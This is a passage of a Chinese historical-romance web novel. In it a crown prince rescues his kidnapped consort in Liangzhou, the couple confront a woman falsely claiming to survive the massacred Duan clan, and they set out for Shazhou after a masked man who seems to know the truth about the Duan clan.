冬寒人寂,大雪下了整整一夜,举目望去,长安城白茫茫一片。
不知是哪一簇积雪落下,压得枝桠发出了轻而闷的折断声。
棠梨眼睫微颤,缓缓睁开眼,她嘴唇歙动,“小姐……小姐……”
“棠梨,你感觉如何?”陆琼宇闻声,急忙走到她跟前。
“头晕,浑身没有力气。”
棠梨在陆琼宇的搀扶下艰难地坐起身。
“我这是在何处?”
“大理寺。”陆琼宇端起茶杯,递给棠梨,“金吾卫昨夜发现你后,将你送了过来。”
“小姐呢?他们可有找到小姐?”棠梨焦急地问道。
陆琼宇面色沉沉,摇了摇头。
“陆琼宇,这究竟是怎么回事?”
一个怒不可遏的声音幽幽传来。
大理寺卿引着太子,快步走进堂内。
“殿下,此事是臣之过。”
陆琼宇垂头,心中很是自责。
元序难掩不悦,“孤是不是嘱咐过陆少卿,要你亲自送她回府。”
不等陆琼宇回答,他转而望向棠梨,“棠梨,你仔细回想一下事情的经过。”
“昨夜酉时,我与小姐行至常乐坊西北角的小巷,忽然出现了一群衣衫褴褛的蒙面人,大约有数十人不止。他们一拥而上,将我们围堵在巷内,与我们交手。”
棠梨顿了顿,继续说道:“他们招式很乱,本已渐渐趋于下风,却蓦地朝我们撒了一些白色粉末状的东西,几乎只有一瞬,我便觉得头晕目眩,使不上力气。最后的一点记忆,是晕倒之前,我依稀看到小姐被他们拽进了马车。”
元序又问,“你还记得马车驶向哪个方向?”
棠梨眉头微蹙,努力地回忆着,终是无果,沮丧地摇了摇头。
“自亥时至今晨,每一辆出城的马车我们都检查过,并无太子妃。”大理寺卿幽幽开口。
元序沉默了片刻,似是在思量,他目光一瞥,拿起棠梨的斗篷,在领口的位置闻了闻,面色一沉,“百步散。”
“西域的百步散?”大理寺卿很是惊诧。
元序颔首,“太子妃失踪一事,大理寺不可传出一丝风声,违者立斩!”
他转身快步出了大理寺,策马疾驰而去。
坐在延兴门偏巷破庙门口的老者认出策马而来的太子,连忙将庙内的乞丐们唤了出来,一齐叩拜。
元序极快地跃下马,将老者扶起,“老丈,昨日夜里大约戌时前后,可有衣衫褴褛之人驾马车从延兴门离开?”
乞丐们中一个岁及总角的少年抢先开口:“有。昨日我从延兴门回来时,有几辆装饰独特的马车刚好迎面驶过,我当时便觉得奇怪。那些驾车之人衣衫破烂,分明是乞丐打扮,可乞丐哪里有钱做什么马车啊,因此我便多留意了几眼。”
苏木不解,“你说马车装饰独特,是何意?”
“那些马车的装饰与长安城内的马车全然不同,每一辆的车帷都极其鲜艳,在夜色下还泛着光。马车路过的时候,传来阵阵清脆的铃响,那声音与西市胡商驼队的银铃声响差不多。”
“你可知晓他们出城后驶向哪个方向?”元序忽然出声。
少年思忖了片刻,缓缓开口:“他们一出城门便立刻向右一拐,应是驶向南方。”
元序颔首,向他致谢,然后转身快步上了马。
元序策马出了延平门后,蓦地勒马停下。
苏木不明就里,侧目望向他,“殿下?”
“你即刻回宫,向父皇禀明情况。就说,太子妃被歹人挟持至西域,事出紧急,孤来不及启奏圣上,先行出京去寻。”
“殿下不可!殿下孤身一人去寻太子妃太过冒险。”苏木边说着,边驭马拦在他面前,“殿下的安危关乎着大晟的将来,陛下定不会允你出京的,恕苏木不能从命。”
“你拦不住孤。”
元序不欲再耽搁,策马向西疾驰而去。
苏木停在原地,长长地叹了口气。
良久后,他扬鞭,离开了延平门。
天色阴沉,又飘起了雪。
一阵寒风刮过,吹落了元序发丝上的雪花,他心中急切,不觉寒冷。
自长安西行,路经岐州、陇州,若这两地不做停留,行过七个昼夜的路,差不多就快要到凉州了。
想到凉州,元序的心口莫名一颤。
怎会如此巧合?又是凉州。
他隐约觉得,这一切的背后有一双无形的手,将他们一步一步推向某个既定的“棋局”。
元序敛了思绪,眸光渐渐变得坚定。
生在皇家,何时何地不在局中?
既已身入局中,又何惧对弈。
总有一日,他们能掀了这“棋局”,成为所谓命运的执棋之人。
16. 第十五卷·既见君子
雪簌簌地落着,车帷被风吹起,冰冷的空气涌进车内,少女眼睫微颤,抿了抿嘴。
这一路,谢杳昏昏沉沉,勉强维持着一点意识,她感觉马车颠簸走了很远,气温也越来越低,似是在向北行驶。
她眯着眼睛,偷偷打量车内,负责看守她的是一个少年和一个年近不惑的女子。
“阿娘,别担心。阿爹说了,这位姑娘是富商之女,不会引起官府注意的。”
那妇人连连叹气,“我怎能不担心,若是被发现了,是要杀头的。”
“阿爹不是说了,那黑衣人承诺,只要把这阿姊带到凉州去,看守她两日,便能给我们一千两银子。”那少年语气笃定,“若不这样,如何能治您的病。”
那妇人勉强点了点头,没再出声。
黑衣人?谢杳闻言,暗自盘算:那幕后之人假借乞丐之手将她掳到凉州,不知是何用意。这些人不会武功,只靠蛮力,对她来说构不成威胁,不如将计就计。
她随着马车的动向,微微伸直上身,换了个舒服的姿势,闭目养神,伺机而动。
第七日半夜,马车驶进了凉州城内一处废弃破败的宅子,与她同车的那个少年搀着她下了车,将她身上的绳子系紧后,转身快步出了门。
谢杳听见门落了锁后,缓缓睁开眼。她环视屋内,并没发现什么趁手的利器,只好艰难地挪动到门边,侧头去听屋外的动静。
“苗兄,你说那人靠谱吗?”
一个声音粗犷的男子,扬声问道。
“你小声些,当心被人听了去。”
“怕什么,这鸟不拉屎的荒郊野地,还有这破烂宅子,哪来的人。”
“阿爹,那人可有说如何给我们银子?”
谢杳认出了这个声音,是马车上那个负责看守她的少年。
“他说到了凉州城后,在这座宅子里守着这位任小姐两日,待第二日黄昏,会有人来给我们送银子,那时我们便可离开。”
谢杳闭上一只眼睛,透过门缝望向外面。
屋内一片漆黑,她分辨不出这宅子有何特别,好在夜光皎洁,明暗对比之下,屋外的景物显得格外清晰。
她仔细观察,发现了问题,这座宅子的破败之处皆似焦炭般发黑,好似被火烧过一般。
被火烧过的宅院,凉州城,她的心中隐隐不安,一个念头油然而生:难道这里是段府?
她双手微颤,撑着地面,勉强使自己坐稳。那幕后之人若想置她于死地,大可将她曝尸荒野,根本用不着费尽心思将她辗转千里带到这儿。况且此前已经多方查证,凉州段氏确无遗孤,他这么做究竟意欲何为?
谢杳一时间没了头绪。
良久,她打定主意,无论如何,都不能坐以待毙,迟则生变,还是要尽快逃离此地。
她一人势单力薄,眼下情形,也只能去找凉州府衙求助了。谢杳如是想到。
翌日黄昏,元序快马加鞭进了凉州城,他不做停留,直奔凉州府衙而去。
他向凉州刺史禀明情况后,马不停蹄地赶往李府。
“殿下?你怎么到凉州来了?”
镇西将军得知消息后,急匆匆地从军营赶回府中。
“阿舅。”元序朝他施以晚辈礼,“求您出兵寻人。”
“出了何事?”
“太子妃被人劫持,如今就在凉州城内。”
镇西将军不答,垂头默默思量。
“不妥。若贸然出兵,不仅会令城内百姓恐慌,还会打草惊蛇,对太子妃的安全恐有更大威胁。”
元序沉声开口:“那阿舅可否借孤一队精兵?孤带他们暗中探查,待发现了太子妃的踪迹,再请阿舅出兵相助。”
镇西将军颔首,吩咐侍卫前去调遣。
元序起身,正欲离开,却被镇西将军唤住。
“殿下切勿妄动,万不能将自己置于危险之中!”
他不语,背对着镇西将军点了点头,快步出了府。
“姑娘,你怎么了?”
看守谢杳的妇人见她面色通红,身上起满疹子,焦急地问道。
谢杳嘴唇翕动,艰难地开口:“我……我喘不过气来。”
那妇人连忙唤来她的夫君,旁的人听到后也都一同围了上来,七嘴八舌地说道:“她吃什么了?”“她不会中毒了吧?”“快去寻郎中!”
谢杳用力攥紧自己的手,让自己尽量保持清醒。
为了出府,她别无他法,只好食用了一点花生。她极其注意,吃得不多,不会危及性命。
“阿爹,我们诊费不够,郎中不肯来。”
乞丐们闻言,惊慌失措,如无头苍蝇般,议论纷纷。
“这姑娘有功夫在身,若是带她出去看诊,怕是麻烦!”
“可若是不救的话,她要是死在这儿怎么办?”
“带她看诊还要付诊金,我们哪有那么多银子,这不是亏本买卖?”
那妇人拽住她夫君的衣袖,轻声开口:“夫君,我们不能为了治病而伤害无辜之人。”
“苗兄,大伙儿都听你的,你说怎么办?”
那位姓苗的男子沉默了片刻,缓缓开口:“救。她要是死了,我们就真成了谋财害命之徒,那便是死罪。”
那妇人走到谢杳跟前,将她轻轻扶起,让她倚在自己的身上。
谢杳心中感叹:若不是这些人良心未泯,她此举就是徒劳,也正因如此,她才没有对他们动手。
“夫人,你给她换身衣裳,戴上帷帽,我们再带她出去。”
谢杳很是配合,换上了一身粗布麻衣。
暮色渐沉,凉州城的街巷仅有几盏星星点点的灯火,依稀发出微弱的光。
谢杳颤巍巍地下了马车,她腰间的弦月玉佩在夜色里泛着暖黄色的光,虽不惹眼,但也照亮了一隅。
“这位姑娘起了风疹,应是吃食不当所导致,你们要多留心。”郎中语重心长地嘱咐道。
“多谢郎中,劳烦您了。”
谢杳四下打量,借机与郎中攀谈。
“姑娘客气了,这附近的百姓不多,平日里也没什么人来看诊,不甚辛劳。”
谢杳故作惊诧,默默思量:凉州城内的人口虽比不得长安,但也不会稀少至此。他们一路西行,入城后又走了很久,想必段府的位置应是处在城中西北角或西南角。
回到段府后,谢杳闭目回忆着刚才的行车轨迹——从医馆出来,马车先是直行了一段路,而后向右一拐,行了大约一盏茶的功夫,又向左一拐,紧接着向右,最后直走到头,就是段府。
她借着月光,用头上的簪子在地上一笔一划地画出了一个轨迹图,最终得出了结论:段府在凉州城西北角。
“刷啦——”
几只麻雀接二连三地从树枝上振翅飞走。
这声音引起了谢杳的警觉,她极快地起身,挪动到门边,悄悄向外观察。
霎时,从檐上跃下几个黑影,向院内各处散开。
随后,一个熟悉的身影映在谢杳的眼眸之中。那人一袭白衣,在黑夜里格外惹眼,与刚刚的几道黑影一同跃进院内,远远看去就能感受到他的急切。
待他走近,谢杳蓦地扬声喊道:“子启!”
元序循声,极快地跑向谢杳所在的那间厢房,却还是慢了一步。
自厢房隔壁忽然冲出几个壮年男子,他们一拥而上,打开门,将谢杳拽了出来。
其中的一个男子从袖中掏出了一把短刃,架在谢杳的脖子上,朝院内喝道:“都退出去!否则我杀了她!”
安西军精锐见状,都犹豫着望向太子。
“别……别杀我。”
谢杳声音微颤,故作惊恐,向元序眼神示意。
元序会意,“拿弓箭来!”
挟持谢杳的那人慌了神,下意识攥紧了手中的短刃。
元序勾了勾唇,瞄着那人肩膀的方向,毫不犹豫地将箭射了出去。
那人见状,连忙将谢杳往外一推,蹲下身去。
谢杳被绑着双手双腿,维持不住平衡,身子向左一斜,直直地摔在地上。
元序疾步跑过去,将她抱到一处安全的位置,为她解开了身上的绳子。
“昭昭,你怎么样?”元序一脸焦急,眸中满是担忧。
谢杳不答,张开双臂,与他紧紧相拥。
元序舒了口气,他抬手轻轻拍了拍谢杳的后背,似是在告诉她,不必担心,有我在,你不用再一个人去面对了。
待安西军精锐稳定住局面,队中牙将走上前向太子问道:“殿下,如何处置他们?”
“依大晟律法处置。”元序淡淡说道。
挟持太子妃,按律当斩。想到这儿,谢杳急忙拽了拽元序的衣袖,向他摇头示意,“他们并不知晓我的身份。”
元序抬眸,目光扫过面前跪着的十三个乞丐,“孤乃大晟太子,尔等可知罪?”
那群乞丐们闻言,大惊失色,大眼瞪小眼地望着彼此,得出了一个极为骇人的结论:这位“任小姐”根本不是什么富商任氏之女,自始至终,那黑衣人要他们绑架的就是大晟的太子妃。
“殿下恕罪,我……我们当真不知是太子妃,若是知道,就是借我们十个胆子,也不敢啊!”
元序眉眼冷了几分,“是何人命你们这么做的?”
那位姓苗的男子抢先开口:“我们本于长安永阳坊附近乞讨,并无害人之心。立冬那晚,忽然有一个蒙着面的黑衣人找到我们,说让我们帮他一个忙,就能出一千两银子。我夫人患有心疾,诊病要花大量银钱,我实在拿不出,便应下了。”
谢杳轻叹:“难道你们就没有怀疑过,那黑衣人怎会无缘无故找你们帮忙?”
“怀疑过,可我实在别无他法,给夫人治病等不得了。何况据他所言,我们只需用他给的药粉,将富商任氏之女迷晕,不会伤及她的性命。他为我们提供马车,让我们将任小姐送到凉州城待上几日,便可拿到银两,自行离开。”
谢杳又问:“那你们是如何认出我的?”
“他给了我们一幅画像,那画像上的面容,便是太子妃您的面容。将您劫走那日,也是他将我们送到常乐坊埋伏的。”
谢杳长长地叹了口气。
“求太子殿下恕罪,求太子妃恕罪!”
那群乞丐们纷纷叩首,跪地求饶。
“你们为了一己私欲,便不问缘由,不明就里地将人劫走,可有想过她也会与亲人分离,也会因你们此举而受到伤害。”谢杳移开目光,让自己沉下心来,“不论我是不是太子妃,你们此举都是罔顾律法,罪责难恕。”
元序接过她的话,“将这些人押入牢中,依大晟律,执持人为质者,处流放之刑。”
“流放?不是斩首!”乞丐们闻言,纷纷叩首,“谢太子殿下,
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谢太子妃!”
待安西军将他们押走后,元序面向谢杳,“我知你于心不忍。他们虽非大奸大恶之人,但到底触犯了律法,死罪可免,活罪难逃,也算是给他们一个教训了。”
谢杳颔首,“殿下可否请一位医者前去为那妇人诊治?”
“我正有此意。”
谢杳叹惋,“民生本就艰辛,有心之人却翻手为云,覆手为雨,总将无辜之人引入歧途。”
“国朝积弊,歌舞升平不过是金玉其外,实则败絮其中。”元序说着,向谢杳伸出手,“太子妃可愿与我一道,平尽天下不平事,共建大晟之盛世?”
谢杳神色微动,郑重地点了点头,伸手覆上元序的掌心。
二人紧紧握住彼此的手,并肩立于院内。
“殿下是怎么找到我的?”谢杳有些好奇。
元序将腰间的玉佩解了下来,递给她。
“夜光石玉佩?”谢杳下意识去摸自己腰间的玉佩,却没有摸到,急忙低头去寻。
元序不明就里,“怎么了?”
“我的玉佩不见了。”
二人四处寻找,最终在谢杳刚刚摔倒的地方,发现了碎成两半的弦月玉佩。
谢杳小心翼翼地将玉佩拾起,在掌心拼合成它原来的模样,眸中闪过一丝失落。
元序觉察到她的情绪,温声安慰道:“等明日我们去玉石铺,看看能不能把它修好。”
“嗯。”谢杳将元序的那块玉佩递还给他。
“你拿着吧。我这块玉佩也是姑姑给的,和你的玉佩一样,都是用夜光石做的。”
谢杳仔细端详着元序的那块玉佩,轻轻摇头,“不一样。”
元序不解,歪头望向她。
“殿下这块是凸月,我的是眉月。”
后半句话谢杳没有说出口:这对玉佩拼合在一起,是一个满月。可惜,她的玉佩碎了,修好了也会有裂隙,很难拼成一个满月了。
“不管是什么月相,都多亏有它,让我能够认出你来。”元序神情认真。
谢杳觉得哪里不对,“殿下为何会在医馆附近?”
“我知你被劫来凉州,就莫名想到了段府,故而便在那周围暗中探查。”
谢杳狡黠一笑,“那殿下应该感谢自己的直觉,这可不是单凭玉佩就找到我的。”
元序忍俊不禁,牵起谢杳的手,拉着她走出段府。
“殿下要带我去哪儿?”
“去阿舅府上。”
“镇西将军?”谢杳很快反应过来,“那刚才救我的是安西军?”
元序颔首。
“素闻安西军骁勇善战,以绝对武力制敌,才得以平定陇右,守大晟边塞之安宁。”谢杳难掩钦佩之情。
元序扬唇,“昭昭这都是从哪里听来的?知道的还真不少。”
“都是我追着姑姑问的。”谢杳话锋一转,“我之前便想问殿下,你为何对西域这么了解啊?连颜料、药材都这么熟悉。”
元序不答,沉默了片刻,才缓缓开口:“皇祖父薨世后,我便来了陇右,在阿舅的军营里待了三年。”
谢杳默默回忆,太祖薨世是朔光七年,同年秋,凉州段氏谋反,被满门抄斩,这么算来,段氏灭门的时间差不多与元序抵达凉州城的时间一致。
若段府当真有遗孤,他必定是最先发现的那一个。多方探查无果,加之元序所言,想必是没有遗孤的存在。可若是没有遗孤,为何幕后之人会将她挟持到凉州?
为了翻案?十年过去,证据早已不复存在,当年都无法寻得的证据,怎会等到今天,等她来寻。更何况,那幕后之人屡次三番想要置她于死地,怎会如此好心,助她为段氏正名。
“昭昭。”元序晃了晃她的手,“在想什么?”
谢杳回过神来,顿了顿,直言相问,“殿下,你真的没有救下段氏后人吗?”
元序神色一凛,不自觉眨了眨眼,“没有。”
“我只是觉得有些奇怪,为何那个幕后之人要将我挟持到凉州,还一定要让我待在段府。”谢杳撇了撇嘴。
“那就先别想了,你这几日都没有好好休息过。”元序温声劝道,“这些事,我们慢慢查,总能找到线索的。”
“慢慢查?”谢杳面露惊诧,“我们不回长安吗?”
元序轻轻摇头,攥紧了她的手,“难得来一次陇右,待上几日再走,也不是不行。”
“真的吗?圣上不会怪罪吗?”
元序一字一顿地说道:“将在外,军令有所不受;儿臣在外,父皇命有所不从。”
谢杳粲然一笑,将烦心事都抛诸脑后,不再去想。
元序微微侧头,眼底闪过一丝不知名的情绪。
他或多或少能够猜到一些,那幕后之人将谢杳挟持到凉州,并不是针对江宁侯府,而是为了引他前来。
看来还是有人怀疑,东宫收容了段氏遗孤,可这个人会是谁呢?父皇?还是薛国公?又或是其他有心之人?他一时难以确认。
但可以笃定地是,他没有将真相全然告知谢杳,是极其正确的选择,否则只会将她推入险境之中,甚至危及性命。
夜色渐深,万物都隐于黑暗之中,难以分辨。
无人察觉的角落里,一个身披黑色斗篷的蒙面男子走出巷口。
他望着元序和谢杳的背影,在面具下勾了勾唇,“久违了,太子殿下。”
17. 第十六卷·往事知多少
凉州城的清晨,寒风凛冽,边塞的隆冬,一片肃杀景象。
谢杳理好衣裳,打开门,一个清隽的侧影落在她的眼眸中。
她微微扬唇,没有出声,站在原地凝望着那个身影。
少年身姿修长,仪容如玉,一身白狐裘斗篷,在雪地的映衬下显得格外清冷干净,他闻声抬眸,眼中满是笑意。
“殿下来了怎么不知会我一声,这外面多冷啊,当心感了风寒。”谢杳嗔怪道。
“太子妃教训的是。”元序忍俊不禁,走上前将手中拿着的青狐裘斗篷递给她,“陇右不比长安,你身上的斗篷抵不过这里的隆冬。”
谢杳颔首,接过他递来的斗篷,将自己身上的斗篷换了下来。
待她转过身来,元序抬手为她拢好领口,拂了拂肩上的浮毛。
“昨夜我们回来的太晚,还未来得及拜见镇西将军,实在失礼。”
“阿舅不在府上。”元序解释道。
“他在军营,与将士们同住,平日也极少回府。”
军营是不能随意去的,看来她没法拜见这位闻名天下的镇西将军了。
谢杳缓缓开口:“那我们今日做些什么?”
元序比了个“请”的手势,“同游凉州城。”
二人相视一笑,并肩出了府去。
凉州城地广人稀,纵是朝食,街边的铺子里也没有多少人。
煮面的灶台冒着滚滚白烟,店内的小二不紧不慢地将面盛上来,一碗一碗端给客人。
谢杳望着烟雾缭绕的铺子出了神,莫名想到去岁仲夏在长安西市,她与元序一起吃馄饨时的情景。
“想吃面?”元序见她停住脚步,出声问道。
谢杳颔首,跟在他身后,进了铺子。
“凉州虽不比长安繁华,但也别有一番风味。”谢杳的目光扫过凉州的街景。
“昭昭喜欢这里?”
“可能因为之前从没见过这些景色,所以觉得很喜欢。”
元序倒了杯茶,递给她,“这里远离喧嚣,可谓大隐隐于市,是难得的清净之地。”
谢杳垂眸不语,对于他们二人的身份而言,这样的人间烟火,不过只是奢望。
朝食过后,二人回府小憩。
待申时正刻再出门时,谢杳蓦地发现府门口停了一辆马车。
马车的窗帷被人从内里掀开,元序探出头,向她招手示意。
“殿下这是要把我拐去哪儿?”谢杳打趣道。
元序抬手,轻轻敲了下谢杳的额头,“凉州城这么大,不坐马车,就是累死你也走不完。”
谢杳眨了眨眼,狡黠一笑,“那既然坐了马车,殿下可一定要带我走完。”
马车向西行过几条巷子,最终停在一个人头攒动的铺子门口。
下马车前,元序拽住谢杳的手腕,向她嘱咐道:“我们的身份不宜外露,你若唤我,就唤我的字。”
谢杳神色认真,“好。”
凉州的玉石铺名唤琳琅阁,铺内满是珍宝,让人目不暇接,倒也名副其实。
谢杳环视四周,心中暗叹:这么多玉石,简直富可敌国。
“在下琳琅阁掌柜廖明珠,不知公子看上了阁内哪块宝玉?”
一个身着玄紫色鎏金织锦裙的女子,走到元序跟前,她的声音轻柔,带着一股媚态。
元序不答,侧头望向谢杳。
“廖掌柜,劳烦你瞧瞧,我这块玉佩可能修得好?”谢杳浅笑,将玉佩递给她。
只见那女子笑意微敛,皱了皱眉,“倒是能用金镶玉的工艺勉强复原,不过这价格嘛。”
元序正色道:“掌柜若能妙手复原,纵千金也无妨。”
“公子真是爽快。”廖明珠直勾勾地望着元序,“在下多一句嘴,敢问这位姑娘是公子什么人啊?”
“是我夫人。”
谢杳闻言抬眸,正巧撞上元序投来的目光。
廖明珠自觉无趣,头也不回地向琢玉的桌案走去。
“昭昭要不要再看看?若是有喜欢的,为夫买给你。”
谢杳瞋目,瞥了他一眼。
元序忍俊不禁,移步到别处,目光囫囵扫过案上的玉石,忽地面色一凛。
“怎么了?”谢杳见他神情不对,连忙走到他身边。
“廖掌柜,这块玉石出自何处?”元序沉声问道。
廖明珠漫不经心地打眼一瞧,“公子好眼力,这块红玉是今早刚到的,可是从沙州运来的紧俏货。”
元序又问:“那这上面雕刻的纹样是出自掌柜之手吗?”
廖明珠轻轻摇头,“不是。这玉送来时就这个样子。”
“叨扰掌柜了。”元序施礼作别,“这玉佩就先放在琳琅阁,待掌柜修好,我们再拿千金来取。”
“我方才不过开个玩笑,逗公子的,公子不必当真。”廖明珠开怀一笑,向他回礼,“只需十两银子,五日后便可来取。”
“多谢掌柜。”谢杳亦见礼作别。
上了马车,谢杳立刻开口:“那红玉是有什么问题吗?”
元序垂头,闭口不答。
“殿下若是不说,我便自己去问。”言罢,谢杳作势便要起身。
元序伸手拉住谢杳,将她拽了回来,顿了顿说道:“那上面刻着的,是凉州段氏的族徽。”
谢杳闻言一怔,“难道真的有段氏的遗孤躲过了那场劫难,留存于世?”
元序眉头微蹙,神色凝重地摇了摇头。
凉州段氏于朔光七年灭门后,世人唯恐避之不及,根本不会有人能在今时今日准确雕刻出段氏的族徽。元序笃定,这世上不会有人比他更清楚段氏遗孤的情况,当年触目惊心的场景,他历历在目,从未忘却。
除了段氏后人,还会有何人能够如此详细地知晓凉州段氏的过往?这个人会不会是当年段府灭门的旁观者?
元序有些犹豫,能清楚知悉段府过往的人,如今在世的不过只有父皇和曾经亲赴凉州的姑姑谢弈月,又或者存在他不知晓的第三人,也未可知。
夕阳西下,落日余晖洒在段府破败的屋檐上,显得格外萧索。
一个身披玫红色流苏斗篷的女子立在院内,她发尾微卷,额上戴着镶有红玉的抹额,一身西域打扮。
谢杳和元序进了府,便看到这样一个背影。
“你是何人?”元序厉声喝道。
那女子缓缓转过身来,面带疑惑地望着他们,在目光移到元序身上时,脸色陡然一变,从袖中掏出一把短刃,直直地向元序刺去。
元序猛地推开谢杳,解下斗篷,顺势一甩,那女子被迎面而来的斗篷一带,短刃脱手飞了出去。
谢杳趁机捡起短刃,在那女子掀开元序的斗篷后,将短刃架在了她的脖子上。
那女子猝然大笑,声音颤抖地说道:“阿姊,你该把短刃对着他,是他劫走了阿弟!”
谢杳神色冷淡,“你在说什么?”
“阿姊,我是凉州段氏的遗孤。”那女子边说着,边拽住谢杳的裙角,“当年大火险些将段府烧成灰烬,我将阿弟藏在后门旁的草垛里,是他前来,劫走了阿弟。后来我才知道他是太子,阿弟定是被他们杀了!
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”
谢杳攥紧了手中的短刃,“我们之前见过吗?”
那女子闻言,面色一僵,支支吾吾地开口:“他是太子,那他身旁的女子必定就是太子妃,而当今的太子妃就是我姑祖母的孙女,我的阿姊。”
元序眸光冰冷,当年的段府横尸遍地,他一个一个地查看尸体,才救下了段府仅剩一口气的孩童。那孩童身旁确有一个少女,可那少女为了救下孩童,早已被大火烧得面目全非,这世上,不会再有第二个凉州段氏的后人。
谢杳侧目望向元序,等待着他开口。
“孤当年一一查看过每个尸体,段府绝无生还之人。”元序直视着那女子,“真正的段氏遗孤是不会在被灭门后,穿着这般鲜艳之色的衣裙回到段府的。你究竟是何人?”
阵阵掌声传来,元序和谢杳循声望去,一个蒙着面的黑衣人站在檐上,悠闲地拍着手,“好一个温润如玉的大晟太子。”
谢杳蓦地抬手朝那假段笑颈后一击,将她打晕,持着短刃极快地走到元序身前。
“昭昭!”元序拽住谢杳的手腕,将她拉到自己身旁。
“我在沙州,恭候殿下!”
那黑衣人扬声说完,三两步跃上另一个屋檐,消失在阑珊夜色之中。
元序紧紧攥住谢杳的手腕,向她摇头示意。那黑衣人的身份不明,武力难测,贸然出手并没有把握,还有可能受伤。
他凝眸望着谢杳,心中纠结。这世上虽不会再有第二个凉州段氏的后人,但却有知晓段府过往的故人。挟持、族徽、段笑,那黑衣人步步牵引,会不会是真的知道些什么?
“她怎么办?”谢杳叹了口气。
元序缓缓开口:“她不会武功,想必是被那黑衣人胁迫的,应该不知晓什么内情。”
谢杳思绪翻涌,大约在她一两岁的时候,祖母就溘逝了,她对祖母没什么印象,对凉州段氏的过往更是全然不知,她如今想要了解,却发现根本不知该从何入手。
眼下情形,去沙州是唯一的办法,哪怕只有一丝可能,她也想知道凉州段氏谋反的真相。
她抬眸,迎上元序的目光,嘴唇翕动,却始终难以开口。
“昭昭可愿与我一道,前往沙州?”元序忽然出声。
谢杳点头,回握住他的手。
“我们即刻就走。”元序边说着,边拉着谢杳出了府。
“殿下不告知镇西将军一声吗?”
“沙州地处大晟和西羌交界,鱼龙混杂,是军事重镇。”元序扶着谢杳上了马车,“若是告诉阿舅,我们便走不了了。”
“那沙州驻守的安西军岂不是比凉州城还多?”谢杳语调一扬。
元序颔首,“就算如此,我们也要小心行事。”
“殿下确实要小心,免得到时候黑衣人没找到,却被安西军抓住,送回凉州来。”谢杳打趣道。
元序忍俊不禁,“阿舅还真能干出这事来。”
谢杳莞尔,掀起窗帷,凉州城的景色在她眼中飞速闪过。
沙州会是何种风貌?会和凉州一样吗?
她心中很是期待,又有些不安,段府的过往呼之欲出,不知真相究竟是何模样。
马车一路西行,穿过漫漫黄沙,在驼队银铃的袅袅余音中,驶向沙州。
第二日途中,大雪纷飞,将无垠瀚海染白,掩盖了它原本的模样。
天高野阔,斗转星移,大漠无声无息地守着来往的人群,时间在这里慢了下来,好似将一切凝固,为历史披上了一层浮尘,却也等待着,等待来者,掀开一角,窥见沙砾沉积下的真相。
18. 第十七卷·长河落日圆
晨光熹微,一抹朝霞洒在白茫茫的大漠上,沙州的风貌,渐渐揭开了真容。
谢杳伏在窗边,迫不及待地望向外面,感叹道:“这里竟连一点绿洲都没有。”
她见元序没应声,立刻扭头望向他。
“沙州地处大漠腹地,异常干旱,在这里,水源和绿洲堪比无价之宝。”
元序缓缓开口。
谢杳故作不悦,“我知殿下来过这里,觉得不以为奇,不愿理我。”
元序忍俊不禁,“我没来过。”
“殿下没来过?”谢杳不大相信。
元序神色认真,“我那时一直待在阿舅的军营,除了凉州,没去过别的地方。”
马车行过七里沙石路,终于进了城,大约一盏茶的功夫,就抵达了鸣沙客栈。
木质结构的客栈古朴典雅,门上挂着两个大红灯笼,在朔风中轻轻摇曳,招揽着四方来客。
客栈的大门敞开着,住客络绎不绝,带着浓浓的江湖气,是久违了的热闹。
谢杳感到很是新奇,望着眼前的景象出了神。
元序见状,牵起谢杳的手,拉着她快步走进了客栈。
“二位客官是打尖,还是住店?”
掌柜的目光囫囵扫过他们二人。
元序勾了勾唇,“掌柜的,给我开两间你们这儿最贵的客房。”
掌柜闻言,脸上堆满了更深的笑意,“天字一号、二号,这两间紧挨着,公子意下如何?”
元序颔首,将一个金锭递给掌柜。
谢杳环视四周,悉心记下客栈内外的环境。
这家客栈的一楼多是些普通住客,二楼则是一人一间。天字一号和二号房在二楼的最里侧,较为僻静,两间房内的窗牖都朝着主街,能清楚地观察到街上的情况。
作为沙州最大的客栈,这里人来人往,极易隐藏,也最能打探各路消息。
谢杳卸下行囊,三步并作两步走到床边,她躺下小憩了一会儿,就听见了几声轻快地叩门声。
果不其然,门外的人正是元序。
“怎么了?”谢杳一脸诧异。
元序拽着她的手腕,将她拉出屋外,“来都来了,何不出去走走。”
朔风卷地,黄沙袭天,玉门关静卧于大漠中,捍卫着大晟的疆界。
沙州作为大晟西部的门户,有着重要的战略意义,沙州若失,西羌铁骑踏破陇右,必将直捣长安。
谢杳不禁叹息。
春风不度玉门关,她儿时以为这是夸夸其谈,却不想亲眼所见比诗中更为萧索。
元序幽幽开口:“皇祖父曾说过,大晟建朝前,陇右混乱不堪,多匪徒,是各国征伐之地,幸得有两个世家拼死守护,才得以安定下来。”
“陇右李氏。”谢杳脱口而出。
“还有凉州段氏。”元序补充道。
谢杳没再出声,让人辨不清情绪。
“安西军本是段家军和李家军共同组成的一支军队,段氏灭门后,陇右就剩下李氏茕茕支撑,这玉门关,终究是太过孤寂了。”元序面色悲怆。
“殿下还不打算告诉我实情吗?”
谢杳转过身,直视着他。
“这世上能清楚知道段府往事的人不过二三,那黑衣人步步紧逼,无非只有一个原因,就是殿下你知晓段氏遗孤的下落。”
事已至此,元序全盘托出,默认了她的话。
“既如此,殿下为何还要来沙州?”谢杳不解。
“我救下阿策时,他年岁尚小。”元序叹了口气,“时至今日,他都还不知晓自己的身份,根本无法为段府作证。”
谢杳眸光一闪,很快猜到了段氏遗孤是谁,她用唇语无声地念了个名字。
元序颔首,印证了她的猜想。
谢杳为之一震,当年的元序也不过只是个少年,是何等谋略,何等决心,让他在力有不逮的境遇下,还能倾其所有救下这个遗孤,将他藏匿数载,不被察觉。
她声音微颤,“殿下是觉得那黑衣人或许知晓当年的真相?”
“我也不能笃定。”
谢杳压低声音,“殿下不该以身犯险的。”
元序轻笑,“父皇当年说过这个案子永不复言,可我觉得皇祖父口中那个为保陇右百姓舍身忘死的门楣,是无论如何也不会与外敌勾结,意图谋反的。”
这般门楣,一夕之间不复存在,究竟是谁的过错?谨小慎微,屈居自保,真的能守护住想守护的人吗?
她心中困惑,没有答案。
过往之事,黑白对错,辨不清,道不明。可生在世间,就不能浑浑噩噩,无论如何,总要有个交代。
谢杳言辞坚决,“殿下已经做的够多了,剩下的,就让我亲自解决吧。”
日落后,沙州的天色却依旧明亮,丝毫没有入夜的迹象。
沙洲夜市热闹了起来,很多商贩在铺子门口吆喝,将行人引入店内,街边还有百戏表演,令人应接不暇。
